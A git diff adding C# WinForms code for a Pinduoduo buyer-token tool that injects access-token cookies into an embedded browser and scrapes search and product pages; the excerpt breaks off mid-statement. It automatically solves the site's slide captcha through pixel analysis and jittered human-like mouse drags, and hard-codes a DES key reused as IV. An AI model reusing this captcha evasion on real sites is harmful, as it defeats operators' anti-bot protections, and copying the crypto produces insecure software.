c.FormatID == ImageFormat.Jpeg.Guid); + using (MemoryStream ms = new MemoryStream()) + { + img.Save(ms, imageCodecInfo, GetEncoderParameters(quality)); + + bitmapTemplate.Dispose(); + + return ms.ToArray(); + } + } + } + } + } + private static EncoderParameters GetEncoderParameters(int quality) + { + // Create an Encoder object for the Quality parameter. + System.Drawing.Imaging.Encoder encoder = System.Drawing.Imaging.Encoder.Quality; + + // Create an EncoderParameters object. + EncoderParameters encoderParameters = new EncoderParameters(1); + + // Save the image as a JPEG file with quality level. + EncoderParameter encoderParameter = new EncoderParameter(encoder, quality); + encoderParameters.Param[0] = encoderParameter; + return encoderParameters; + } + public static Bitmap Base64StringToBitmap(string base64) + { + byte[] byteArr = Convert.FromBase64String(base64); + TypeConverter tc = TypeDescriptor.GetConverter(typeof(Bitmap)); + Bitmap bitmap = (Bitmap)tc.ConvertFrom(byteArr); + return bitmap; + } + private void SlideCaptcha(string html, LocationPoint locationPoint) + { + string base64 = GetBase64ImageString(html, "data:image/jpeg;base64,", locationPoint); + Bitmap bitmap = Base64StringToBitmap(base64); + int holeLeft = CalculateNick(bitmap, 33); + if (holeLeft > 0) + { + LocationPoint dragLocation = GetElementLocationPoint(cefWebBrowser, "slide-icon"); + if (dragLocation.Width == 0) + { + dragLocation = GetElementLocationPoint(cefWebBrowser, "slide-btn-wrap"); + dragLocation.Left += 25; + dragLocation.Top += 35; + } + int startX = dragLocation.Left; + int startY = dragLocation.Top; + //startX = 90; + //startY = 345; + // CEFBrowser.SimulateMouseMove(cefWebBrowser.GetBrowser().GetHost(), startX, startY, startX + holeLeft + SecurityHelper.GetRandom(-8, 0), startY); + CefMouseDragPDD(startX, startY, startX + holeLeft + SecurityHelper.GetRandom(-8, 0), startY); + } + } + private void CefMouseDragPDD(int x1, int y1, int x2, int y2) + { + Thread.Sleep(100); + Random random = new Random(); + var host = cefWebBrowser.GetBrowser().GetHost(); + + Thread.Sleep(random.Next(5)); + var ranX = -2 + SecurityHelper.GetRandom(0, 5); + var ranY = -2 + SecurityHelper.GetRandom(0, 5); + int xlen = x2 - x1 - ranX; + int x = x1 + ranX; + int y = y1 + ranY; + + host.SendMouseClickEvent(x, y, MouseButtonType.Left, false, 1, CefEventFlags.None);//按下鼠标左键 + + Thread.Sleep(200 + random.Next(200)); + + int z = x + xlen / 2 + SecurityHelper.GetRandom(0, xlen / 4); + + int times = 0; + while (x < x2 - 4)//后半部分 + { + times++; + x += 4 + random.Next(4); + y = y - 1 + SecurityHelper.GetRandom(0, 3); + Thread.Sleep(6 + times / 6 + random.Next(4)); + host.SendMouseMoveEvent((int)x, (int)y, false, CefEventFlags.LeftMouseButton); // 移动鼠标 + } + + x = x2 - 1 + SecurityHelper.GetRandom(0, 3); + Thread.Sleep(100 + random.Next(100)); + host.SendMouseMoveEvent((int)x, (int)y, false, CefEventFlags.LeftMouseButton); // 移动鼠标 + + Thread.Sleep(400 + random.Next(600)); + host.SendMouseClickEvent(x, y, MouseButtonType.Left, true, 1, CefEventFlags.None); // 抬起鼠标左键 + } + private int CalculateNick(Bitmap bitmap, int v) + { + int iNickX = 0; + int iDis = 5; //差异值 + List lstiNickX = new List(); + for (int y = 0; y < bitmap.Height; y++) + { + for (int x = bitmap.Width / 2; x < bitmap.Width - v; x++) + { + Color color1 = bitmap.GetPixel(x, y); + Color color2 = bitmap.GetPixel(x + 1, y); + int icolor1 = GetRGBFromColor(color1); + int icolor2 = GetRGBFromColor(color2); + double dDistance = GetDistance(color2, color1); + if (dDistance > iDis && icolor2 < icolor1) + { + for (int i = 0; i < v + v / 2; i++) + { + iNickX = x + i; + if (iNickX >= bitmap.Width - 1) + { + continue; + } + + Color colorNickPre = bitmap.GetPixel(iNickX, y); + Color colorNickAft = bitmap.GetPixel(iNickX + 1, y); + + int icolorNickPre = GetRGBFromColor(colorNickPre); + int icolorNickAft = GetRGBFromColor(colorNickAft); + double dNickDistance = GetDistance(colorNickAft, colorNickPre); + if (dNickDistance > dDistance && icolorNickAft > icolorNickPre) + { + int iGap = Math.Abs(iNickX - x - v); + if (iGap <= 2) + { + lstiNickX.Add(x); + } + break; + } + } + } + } + } + + if (lstiNickX.Count > 0) + { + iNickX = GetRight(lstiNickX); + } + return iNickX; + + } + private double GetDistance(Color color1, Color color2) + { + double y1, u1, v1, y2, u2, v2; + y1 = 0.299 * color1.R + 0.587 * color1.G + 0.114 * color1.B; + u1 = -0.14713 * color1.R - 0.28886 * color1.G + 0.436 * color1.B; + v1 = 0.615 * color1.R - 0.51498 * color1.G - 0.10001 * color1.B; + y2 = 0.299 * color2.R + 0.587 * color2.G + 0.114 * color2.B; + u2 = -0.14713 * color2.R - 0.28886 * color2.G + 0.436 * color2.B; + v2 = 0.615 * color2.R - 0.51498 * color2.G - 0.10001 * color2.B; + return Math.Sqrt((y1 - y2) * (y1 - y2) + (u1 - u2) * (u1 - u2) + (v1 - v2) * (v1 - v2)); + } + private int GetRight(List lstiNickX) + { + var res = from n in lstiNickX + group n by n into g + orderby g.Count() descending + select g; + var gr = res.First(); + return gr.Key; + } + private int GetRGBFromColor(Color color) + { + return (int)(((int)color.B << 16) | (ushort)(((ushort)color.G << 8) | color.R)); + } + public static async Task EvaluateScriptAsync(ChromiumWebBrowser cefWebBrowser, string js) + { + JavascriptResponse javascriptResponse = await cefWebBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(js); + return javascriptResponse; + } + + public static ChromiumWebBrowser CreateChromiumWebBrowser(string url, bool isGlobal = true) + { + ChromiumWebBrowser cefBrowser = new ChromiumWebBrowser(url); + if (!isGlobal) + { + cefBrowser.RequestContext = new RequestContext(GetRequestContextIsolateSettings()); + } + cefBrowser.BrowserSettings = new BrowserSettings + { + Plugins = CefState.Disabled + }; + return cefBrowser; + } + public static RequestContextSettings GetRequestContextIsolateSettings() + { + RequestContextSettings requestContextSettings = new RequestContextSettings(); + requestContextSettings.PersistSessionCookies = false; + requestContextSettings.PersistUserPreferences = false; + return requestContextSettings; + } + public static async Task SetCookieAsync(string domain, string cookies, ICookieManager cookieManager = null) + { + try + { + foreach (string cookie in cookies.Split(new string[] { ";" }, StringSplitOptions.RemoveEmptyEntries)) + { + int i = cookie.IndexOf('='); + if (i > 0) + { + string name = cookie.Substring(0, i).ToString().Trim(); + string value = cookie.Substring(i + 1).ToString().Trim(); + if (name.ToLower() == "expires" || name.ToLower() == "path" || name.ToLower() == "domain") + { + continue; + } + CefSharp.Cookie newCookie = new CefSharp.Cookie + { + Domain = domain, + Name = name, + Value = value, + Path = "/" + }; + if (cookieManager == null) + { + bool result = await Cef.GetGlobalCookieManager().SetCookieAsync("http://" + domain, newCookie); + } + else + { + bool result = await cookieManager.SetCookieAsync("http://" + domain, newCookie); + } + } + } + } + catch { } + } + //cancellationTokenSource = new CancellationTokenSource(); + bool getWay = false; + private async void CefWebBrowser_FrameLoadEnd(object sender, CefSharp.FrameLoadEndEventArgs e) + { + if (e.Frame.IsMain) + { + string url = e.Frame.Url; + string html = await e.Frame.GetSourceAsync(); + //if (url == "https://yangkeduo.com/personal.html") + // return; + await SetCookieAsync(".yangkeduo.com", "PDDAccessToken=" + pddAccessToken, cefWebBrowser.RequestContext.GetCookieManager(null)); + if (url== "https://mobile.yangkeduo.com/portal.html") + cefWebBrowser.Load(PersonUrl); + //if (url.Contains("VerifyAuthToken")) + //{ + // if (getWay) + // return; + // getWay = true; + // AutoCaptcha(); + //} + } + + } + + private void btnValidateLogin_Click(object sender, EventArgs e) + { + cefWebBrowser.Load(PersonUrl); + } + + private void btnValidateSearchStatus_Click(object sender, EventArgs e) + { + cefWebBrowser.Load(SearchUrl); + } + + private void btnValidateProductDetailStatus_Click(object sender, EventArgs e) + { + cefWebBrowser.Load(GoodsUrl); + } + + private void btnSaveToken_Click(object sender, EventArgs e) + { + TData obj = new TData(); + obj.Tag = 1; + obj.Result = pddAccessToken; + this.onSaveComplete(obj); + this.Close(); + } + + private void btnDeleteToken_Click(object sender, EventArgs e) + { + TData obj = new TData(); + obj.Tag = 0; + obj.Result = pddAccessToken; + this.onSaveComplete(obj); + this.Close(); + } + public static string GetElementLocation(ChromiumWebBrowser cefWebBrowser, string elementIdOrClass) + { + string js = @"function getElementLocation() { + var element = document.getElementById('{0}'); + if (element == null || element == undefined) { + var elements = document.getElementsByClassName('{0}'); + if(elements){ + element = elements[0]; + } + } + if (element == null || element == undefined) + { + return '0,0,0,0'; + } + return element.getBoundingClientRect().left.toString() + ',' + element.getBoundingClientRect().top.toString() + ',' + (element.width?element.width.toString():'0') + ',' + (element.height?element.height.toString():'0'); + } + getElementLocation(); + "; + string formatJs = js.Replace("{0}", elementIdOrClass); + Task task = cefWebBrowser.EvaluateScriptAsync(formatJs); + task.Wait(); + string location = task.Result.Result.ParseToString(); + return location; + } + public static int DecimalPointParseToInt(string str) + { + try + { + string temp = str.ParseToString(); + int i = temp.IndexOf('.'); + if (i > 0) + { + temp = temp.Substring(0, i); + } + return Convert.ToInt32(temp); + } + catch + { + return 0; + } + } + public static LocationPoint GetElementLocationPoint(ChromiumWebBrowser cefWebBrowser, string elementIdOrClass) + { + LocationPoint locationPoint = new LocationPoint(); + string location = GetElementLocation(cefWebBrowser, elementIdOrClass); + if (location.Contains(",")) + { + string[] xy = location.Split(','); + locationPoint.Left = DecimalPointParseToInt(xy[0]); + locationPoint.Top = DecimalPointParseToInt(xy[1]); + locationPoint.Width = DecimalPointParseToInt(xy[2]); + locationPoint.Height = DecimalPointParseToInt(xy[3]); + } + return locationPoint; + } + public static void SimulateMouseLeftClick(IBrowserHost host, int x, int y) + { + Random random = new Random(Guid.NewGuid().GetHashCode()); + host.SendMouseClickEvent(x, y, MouseButtonType.Left, false, 1, CefEventFlags.None); // 按下鼠标左键 + Thread.Sleep(75 + random.Next(50)); + host.SendMouseClickEvent(x, y, MouseButtonType.Left, true, 1, CefEventFlags.None); // 松开鼠标左键 + Thread.Sleep(300); + } + public string GetProductDetail(string url, string pddAccessToken) + { + HttpParam httpParam = new HttpParam { Url = url }; + AddRequestParamForPinDuoDuoWeb(httpParam, pddAccessToken); + string html = Get(httpParam); + return html; + } + public static string ReadResponse(HttpParam httpParam, HttpWebResponse response) + { + using (Stream stream = DecompressStream(response)) + { + using (StreamReader streamReader = new StreamReader(stream, httpParam.ResponseEncoding)) + { + return streamReader.ReadToEnd(); + } + } + } + public static string Get(HttpParam httpParam) + { + try + { + HttpWebRequest request = GetHttpWebRequest(httpParam); + request.Method = "Get"; + return ReadResponse(httpParam, (HttpWebResponse)request.GetResponse()); + } + catch (Exception ex) + { + return string.Empty; + } + } + public static T[] SplitToArray(string value, char split) + { + T[] arr = value.Split(new string[] { split.ToString() }, StringSplitOptions.RemoveEmptyEntries).CastSuper().ToArray(); + return arr; + } + public static Dictionary GetCookieDictionary(string cookie) + { + Dictionary dict = new Dictionary(); + string[] cookieArr = SplitToArray(cookie, ';'); + foreach (string line in cookieArr) + { + int index = line.IndexOf('='); + if (index > 0) + { + string key = line.Substring(0, index); + string value = line.Substring(index + 1); + if (!dict.ContainsKey(key)) + { + dict.Add(key, value); + } + } + } + return dict; + } + private void AddRequestParamForPinDuoDuoWeb(HttpParam httpParam, string accessToken) + { + httpParam.Cookie = "PDDAccessToken=" + accessToken; + httpParam.UserAgent = userAgent; + if (!string.IsNullOrEmpty(httpParam.Cookie)) + { + Dictionary cookieDict = GetCookieDictionary(httpParam.Cookie); + string key = "VerifyAuthToken"; + if (cookieDict.ContainsKey(key)) + { + AddHeader(httpParam, key, cookieDict[key]); + } + } + } + public static void AddHeader(HttpParam httpParam, string key, string value) + { + if (httpParam.Header == null) + { + httpParam.Header = new Dictionary(); + } + httpParam.Header.Remove(key); + httpParam.Header.Add(key, value); + } + public TData CheckAccessToken(string pddAccessToken) + { + TData obj = new TData(); + obj.Result = new PinDuoDuoTokenInfo + { + PDDAccessToken = pddAccessToken + }; + string url = BaseClass.NewUrl + "/personal.html"; + string refere = ""; + string html = GetPostTaobaoHtml.UploadTaobao(url, refere, true, "PDDAccessToken=" + pddAccessToken); + if (string.IsNullOrEmpty(html)) + { + obj.Result.LoginStatus = obj.Result.ProductDetailStatus = -1; + } + else if (html.Contains("我的订单")) + { + obj.Result.LoginStatus = 1; + url = "http://yangkeduo.com/goods.html?goods_id=17252982258"; + html = GetProductDetail(url, pddAccessToken); + if (!IsNotPinDuoDuoProductDetail(html)) + { + if (html.Contains("垃圾桶")) + { + obj.Result.ProductDetailStatus = 1; + } + else + { + html = GetProductDetailByApi(17252982258, pddAccessToken); + } + } + + if (html.Contains("goodsName") || html.Contains("垃圾桶")) + { + obj.Result.ProductDetailStatus = 1; + } + else + { + obj.Result.ProductDetailStatus = -1; + obj.Result.IsCaptcha = true; + } + url = "http://yangkeduo.com/search_result.html?search_key=垃圾桶"; + html = GetPostTaobaoHtml.UploadTaobao(url, refere, true, "PDDAccessToken=" + pddAccessToken); + + if (html.Contains("goodsName")) + { + obj.Result.SearchStatus = 1; + } + else + { + int keyWordIndex = url.LastIndexOf('='); + if (keyWordIndex > 0) + { + var keyWord = url.Substring(keyWordIndex + 1); + if (html.Contains(keyWord)) + { + obj.Result.SearchStatus = -1; + } + } + obj.Result.IsCaptcha = true; + } + } + else + { + obj.Result.LoginStatus = -1; + obj.Result.IsCaptcha = true; + } + return obj; + } + public static bool IsNotPinDuoDuoProductDetail(string html) + { + return !html.Contains("topGallery") && !html.Contains("商品不存在") && !html.Contains("商品已下架") && !html.Contains("\"mall\""); + } + public string GetProductDetailByApi(long productId, string pddAccessToken) + { + string url = "https://yangkeduo.com/proxy/api/api/oak/integration/render?pdduid={0}"; + HttpParam httpParam = new HttpParam(); + string cookie = "PDDAccessToken=" + pddAccessToken; + Dictionary cookieDict = GetCookieDictionary(cookie); + string key = "pdd_user_id"; + if (cookieDict.ContainsKey(key)) + { + httpParam.Url = string.Format(url, cookieDict[key]); + } + else + { + httpParam.Url = string.Format(url, 0); + } + httpParam.ContentType = "application/json;charset=UTF-8"; + httpParam.PostData = JsonConvert.SerializeObject(new + { + page_version = "7", + goods_id = productId, + page_from = 0, + hostname = "yangkeduo.com", + client_time = GetUnixMilliSecondTimeStamp(DateTime.Now) + BaseClass.TimeDifferent * 1000 + }); + AddHeader(httpParam, "AccessToken", pddAccessToken); + AddRequestParamForPinDuoDuoWeb(httpParam, pddAccessToken); + string html = Post(httpParam); + if (html.Contains("goods_id") && html.Contains("mall_id")) + { + JObject jObj = JObject.Parse(html); + return html; + } + return ""; + } + public static long GetUnixMilliSecondTimeStamp(DateTime dt) + { + DateTime startTime = TimeZone.CurrentTimeZone.ToLocalTime(new DateTime(1970, 1, 1)); + return (long)(dt - startTime).TotalMilliseconds; + } + public static string Post(HttpParam httpParam) + { + try + { + HttpWebRequest request = GetHttpWebRequest(httpParam); + request.Method = "Post"; + request.ServicePoint.Expect100Continue = false; + byte[] postDataByte = Encoding.UTF8.GetBytes(httpParam.PostData); + request.ContentLength = postDataByte.Length; + request.AllowAutoRedirect = false; + using (Stream requestStream = request.GetRequestStream()) + { + requestStream.Write(postDataByte, 0, postDataByte.Length); + } + return ReadResponse(httpParam, (HttpWebResponse)request.GetResponse()); + } + catch + { + return ""; + } + + } + + } + + public class LocationPoint + { + public int Left { get; set; } + public int Top { get; set; } + public int Width { get; set; } + public int Height { get; set; } + } + + public class SecurityHelper + { + private static readonly string DESKey = "20190813"; + + /// + /// 用MD5加密字符串,可选择生成16位或者32位的加密字符串 + /// + /// 待加密的字符串 + /// 位数,一般取值16 或 32 + /// 返回的加密后的字符串 + public static string MD5Encrypt(string str, int bit = 32) + { + MD5CryptoServiceProvider md5Hasher = new MD5CryptoServiceProvider(); + byte[] hashedDataBytes; + hashedDataBytes = md5Hasher.ComputeHash(Encoding.GetEncoding("gb2312").GetBytes(str)); + StringBuilder sb = new StringBuilder(); + foreach (byte i in hashedDataBytes) + { + sb.Append(i.ToString("x2")); + } + if (bit == 16) + { + return sb.ToString().Substring(8, 16).ToUpper(); + } + else + { + return sb.ToString().ToUpper(); + } + } + + public static string GetGuid(bool replaceDash = false) + { + string guid = Guid.NewGuid().ToString(); + if (replaceDash) + { + guid = guid.Replace("-", string.Empty); + } + return guid; + } + + public static bool IsSafeSqlParam(string value) + { + return !Regex.IsMatch(value, @"[-|;|,|\/|\(|\)|\[|\]|\}|\{|%|@|\*|!|\']"); + } + + public static string DESEncrypt(string encrypt, string key = "") + { + if (string.IsNullOrEmpty(key)) + { + key = DESKey; + } + try + { + DESCryptoServiceProvider oDESCryptoServiceProvider = new DESCryptoServiceProvider(); + byte[] inputByteArray = Encoding.Default.GetBytes(encrypt); + oDESCryptoServiceProvider.Key = ASCIIEncoding.ASCII.GetBytes(DESKey); + oDESCryptoServiceProvider.IV = ASCIIEncoding.ASCII.GetBytes(DESKey); + MemoryStream oMemoryStream = new MemoryStream(); + CryptoStream oCryptoStream = new CryptoStream(oMemoryStream, oDESCryptoServiceProvider.CreateEncryptor(), CryptoStreamMode.Write); + oCryptoStream.Write(inputByteArray, 0, inputByteArray.Length); + oCryptoStream.FlushFinalBlock(); + StringBuilder sb = new StringBuilder(); + foreach (byte b in oMemoryStream.ToArray()) + { + sb.AppendFormat("{0:X2}", b); + } + sb.ToString(); + return sb.ToString(); + } + catch (System.Exception ex) + { + + return string.Empty; + } + } + + public static string DESDecrypt(string decrypt, string key = "") + { + if (string.IsNullOrEmpty(key)) + { + key = DESKey; + } + try + { + DESCryptoServiceProvider oDESCryptoServiceProvider = new DESCryptoServiceProvider(); + + byte[] inputByteArray = new byte[decrypt.Length / 2]; + for (int x = 0; x < decrypt.Length / 2; x++) + { + int i = (Convert.ToInt32(decrypt.Substring(x * 2, 2), 16)); + inputByteArray[x] = (byte)i; + } + oDESCryptoServiceProvider.Key = ASCIIEncoding.ASCII.GetBytes(key); + oDESCryptoServiceProvider.IV = ASCIIEncoding.ASCII.GetBytes(key); + MemoryStream oMemoryStream = new MemoryStream(); + CryptoStream oCryptoStream = new CryptoStream(oMemoryStream, oDESCryptoServiceProvider.CreateDecryptor(), CryptoStreamMode.Write); + oCryptoStream.Write(inputByteArray, 0, inputByteArray.Length); + oCryptoStream.FlushFinalBlock(); + return Encoding.Default.GetString(oMemoryStream.ToArray()); + } + catch (System.Exception ex) + { + + return string.Empty; + } + } + + public static bool IsBase64(string str) + { + try + { + string base64Pattern = "^([A-Za-z0-9+/]{4})*([A-Za-z0-9+/]{4}|[A-Za-z0-9+/]{3}=|[A-Za-z0-9+/]{2}==)$"; + return Regex.IsMatch(str, base64Pattern); + } + catch (Exception ex) + { + + return false; + } + } + + public static string Base64Encrypt(string encrypt) + { + try + { + byte[] bytes = Encoding.UTF8.GetBytes(encrypt); + string base64 = Convert.ToBase64String(bytes); + return base64; + } + catch (Exception ex) + { + + return encrypt; + } + } + + public static string Base64Decrypt(string decrypt) + { + try + { + byte[] bytes = Convert.FromBase64String(decrypt); + string base64 = Encoding.UTF8.GetString(bytes); + return base64; + } + catch (Exception ex) + { + + return decrypt; + } + } + + public static string HMACSHA256(string encrypt, string key = "") + { + var encoding = new ASCIIEncoding(); + byte[] keyByte = encoding.GetBytes(key); + byte[] encryptByte = encoding.GetBytes(encrypt); + using (var hmacsha256 = new HMACSHA256(keyByte)) + { + byte[] hashmessage = hmacsha256.ComputeHash(encryptByte); + StringBuilder builder = new StringBuilder(); + for (int i = 0; i < hashmessage.Length; i++) + { + builder.Append(hashmessage[i].ToString("X2")); + } + return builder.ToString(); + } + } + + public static int GetRandSeed() + { + byte[] buffer = Guid.NewGuid().ToByteArray(); + int iSeed = BitConverter.ToInt32(buffer, 0); + return iSeed; + } + + public static int GetRandom(int min, int max) + { + return new Random(GetRandSeed()).Next(min, max + 1); + } + } +} diff --git a/TEMUKJD/KJDForms/ToolForms/PinDuoDuoCaptchaForm.designer.cs b/TEMUKJD/KJDForms/ToolForms/PinDuoDuoCaptchaForm.designer.cs new file mode 100644 index 0000000..ca0763e --- /dev/null +++ b/TEMUKJD/KJDForms/ToolForms/PinDuoDuoCaptchaForm.designer.cs @@ -0,0 +1,147 @@ +namespace LittleRabbit.LittleRabbitForms.ToolForms +{ + partial class PinDuoDuoCaptchaForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.scPinDuoDuo = new System.Windows.Forms.SplitContainer(); + this.btnDeleteToken = new System.Windows.Forms.Button(); + this.btnSaveToken = new System.Windows.Forms.Button(); + this.btnValidateProductDetailStatus = new System.Windows.Forms.Button(); + this.btnValidateLogin = new System.Windows.Forms.Button(); + ((System.ComponentModel.ISupportInitialize)(this.scPinDuoDuo)).BeginInit(); + this.scPinDuoDuo.Panel2.SuspendLayout(); + this.scPinDuoDuo.SuspendLayout(); + this.SuspendLayout(); + // + // scPinDuoDuo + // + this.scPinDuoDuo.Dock = System.Windows.Forms.DockStyle.Fill; + this.scPinDuoDuo.FixedPanel = System.Windows.Forms.FixedPanel.Panel2; + this.scPinDuoDuo.Location = new System.Drawing.Point(1, 33); + this.scPinDuoDuo.Name = "scPinDuoDuo"; + // + // scPinDuoDuo.Panel1 + // + this.scPinDuoDuo.Panel1.BackColor = System.Drawing.Color.White; + // + // scPinDuoDuo.Panel2 + // + this.scPinDuoDuo.Panel2.BackColor = System.Drawing.Color.White; + this.scPinDuoDuo.Panel2.Controls.Add(this.btnDeleteToken); + this.scPinDuoDuo.Panel2.Controls.Add(this.btnSaveToken); + this.scPinDuoDuo.Panel2.Controls.Add(this.btnValidateProductDetailStatus); + this.scPinDuoDuo.Panel2.Controls.Add(this.btnValidateLogin); + this.scPinDuoDuo.Size = new System.Drawing.Size(560, 600); + this.scPinDuoDuo.SplitterDistance = 400; + this.scPinDuoDuo.SplitterWidth = 1; + this.scPinDuoDuo.TabIndex = 0; + // + // btnDeleteToken + // + this.btnDeleteToken.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnDeleteToken.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnDeleteToken.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnDeleteToken.ForeColor = System.Drawing.Color.White; + this.btnDeleteToken.Location = new System.Drawing.Point(11, 209); + this.btnDeleteToken.Name = "btnDeleteToken"; + this.btnDeleteToken.Size = new System.Drawing.Size(136, 27); + this.btnDeleteToken.TabIndex = 5; + this.btnDeleteToken.Text = "删除此买手Token"; + this.btnDeleteToken.UseVisualStyleBackColor = false; + this.btnDeleteToken.Click += new System.EventHandler(this.btnDeleteToken_Click); + // + // btnSaveToken + // + this.btnSaveToken.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnSaveToken.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnSaveToken.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnSaveToken.ForeColor = System.Drawing.Color.White; + this.btnSaveToken.Location = new System.Drawing.Point(11, 158); + this.btnSaveToken.Name = "btnSaveToken"; + this.btnSaveToken.Size = new System.Drawing.Size(136, 27); + this.btnSaveToken.TabIndex = 4; + this.btnSaveToken.Text = "保留此买手Token"; + this.btnSaveToken.UseVisualStyleBackColor = false; + this.btnSaveToken.Click += new System.EventHandler(this.btnSaveToken_Click); + // + // btnValidateProductDetailStatus + // + this.btnValidateProductDetailStatus.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnValidateProductDetailStatus.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnValidateProductDetailStatus.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnValidateProductDetailStatus.ForeColor = System.Drawing.Color.White; + this.btnValidateProductDetailStatus.Location = new System.Drawing.Point(11, 107); + this.btnValidateProductDetailStatus.Name = "btnValidateProductDetailStatus"; + this.btnValidateProductDetailStatus.Size = new System.Drawing.Size(136, 27); + this.btnValidateProductDetailStatus.TabIndex = 2; + this.btnValidateProductDetailStatus.Text = "验证详情采集状态"; + this.btnValidateProductDetailStatus.UseVisualStyleBackColor = false; + this.btnValidateProductDetailStatus.Click += new System.EventHandler(this.btnValidateProductDetailStatus_Click); + // + // btnValidateLogin + // + this.btnValidateLogin.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnValidateLogin.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnValidateLogin.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnValidateLogin.ForeColor = System.Drawing.Color.White; + this.btnValidateLogin.Location = new System.Drawing.Point(11, 56); + this.btnValidateLogin.Name = "btnValidateLogin"; + this.btnValidateLogin.Size = new System.Drawing.Size(136, 27); + this.btnValidateLogin.TabIndex = 0; + this.btnValidateLogin.Text = "验证登录状态"; + this.btnValidateLogin.UseVisualStyleBackColor = false; + this.btnValidateLogin.Click += new System.EventHandler(this.btnValidateLogin_Click); + // + // PinDuoDuoCaptchaForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(562, 634); + this.Controls.Add(this.scPinDuoDuo); + this.Font = new System.Drawing.Font("华文宋体", 8.25F); + this.Name = "PinDuoDuoCaptchaForm"; + this.Text = "拼多多买手Token验证"; + this.TitleText = "拼多多买手Token验证"; + this.Load += new System.EventHandler(this.PinDuoDuoCaptchaForm_Load); + this.Controls.SetChildIndex(this.scPinDuoDuo, 0); + this.scPinDuoDuo.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.scPinDuoDuo)).EndInit(); + this.scPinDuoDuo.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.SplitContainer scPinDuoDuo; + private System.Windows.Forms.Button btnDeleteToken; + private System.Windows.Forms.Button btnSaveToken; + private System.Windows.Forms.Button btnValidateProductDetailStatus; + private System.Windows.Forms.Button btnValidateLogin; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/ToolForms/PinDuoDuoCaptchaForm.resx b/TEMUKJD/KJDForms/ToolForms/PinDuoDuoCaptchaForm.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/TEMUKJD/KJDForms/ToolForms/PinDuoDuoCaptchaForm.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/ToolForms/PinDuoDuoLoginForm.cs b/TEMUKJD/KJDForms/ToolForms/PinDuoDuoLoginForm.cs new file mode 100644 index 0000000..dc22513 --- /dev/null +++ b/TEMUKJD/KJDForms/ToolForms/PinDuoDuoLoginForm.cs @@ -0,0 +1,190 @@ +using AllBase; +using CefSharp; +using CefSharp.WinForms; +using LittleRabbit.LittleRabbitForms.BaseForms; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace LittleRabbit.LittleRabbitForms.ToolForms +{ + public partial class PinDuoDuoLoginForm : LRBaseForm + { + private ChromiumWebBrowser cefWebBrowser = null; + public static string LoginUrl = "http://yangkeduo.com/login.html"; + public static string MobileLoginUrl = BaseClass.NewUrl+"/login.html"; + public delegate void OnSaveComplete(string msg); + public event OnSaveComplete onSaveComplete; + public PinDuoDuoLoginForm() + { + InitializeComponent(); + } + + private void PinDuoDuoLoginForm_Load(object sender, EventArgs e) + { + if (BaseClass.Ico != null) + Icon = BaseClass.Ico; + cefWebBrowser = CreateChromiumWebBrowser(MobileLoginUrl,false); + cefWebBrowser.FrameLoadEnd += CefWebBrowser_FrameLoadEnd; + cefWebBrowser.Dock = DockStyle.Fill; + panel1.Controls.Add(cefWebBrowser); + } + + private void RequestHandler_ResourceLoadComplete(string url, string postData, string responseData) + { + } + public static RequestContextSettings GetRequestContextIsolateSettings() + { + RequestContextSettings requestContextSettings = new RequestContextSettings(); + requestContextSettings.PersistSessionCookies = false; + requestContextSettings.PersistUserPreferences = false; + return requestContextSettings; + } + + public static ChromiumWebBrowser CreateChromiumWebBrowser(string url, bool isGlobal = true) + { + ChromiumWebBrowser cefBrowser = new ChromiumWebBrowser(url); + if (!isGlobal) + { + cefBrowser.RequestContext = new RequestContext(GetRequestContextIsolateSettings()); + } + cefBrowser.BrowserSettings = new BrowserSettings + { + Plugins = CefState.Disabled + }; + return cefBrowser; + } + public static List cookieList = new List(); + private async void CefWebBrowser_FrameLoadEnd(object sender, CefSharp.FrameLoadEndEventArgs e) + { + if 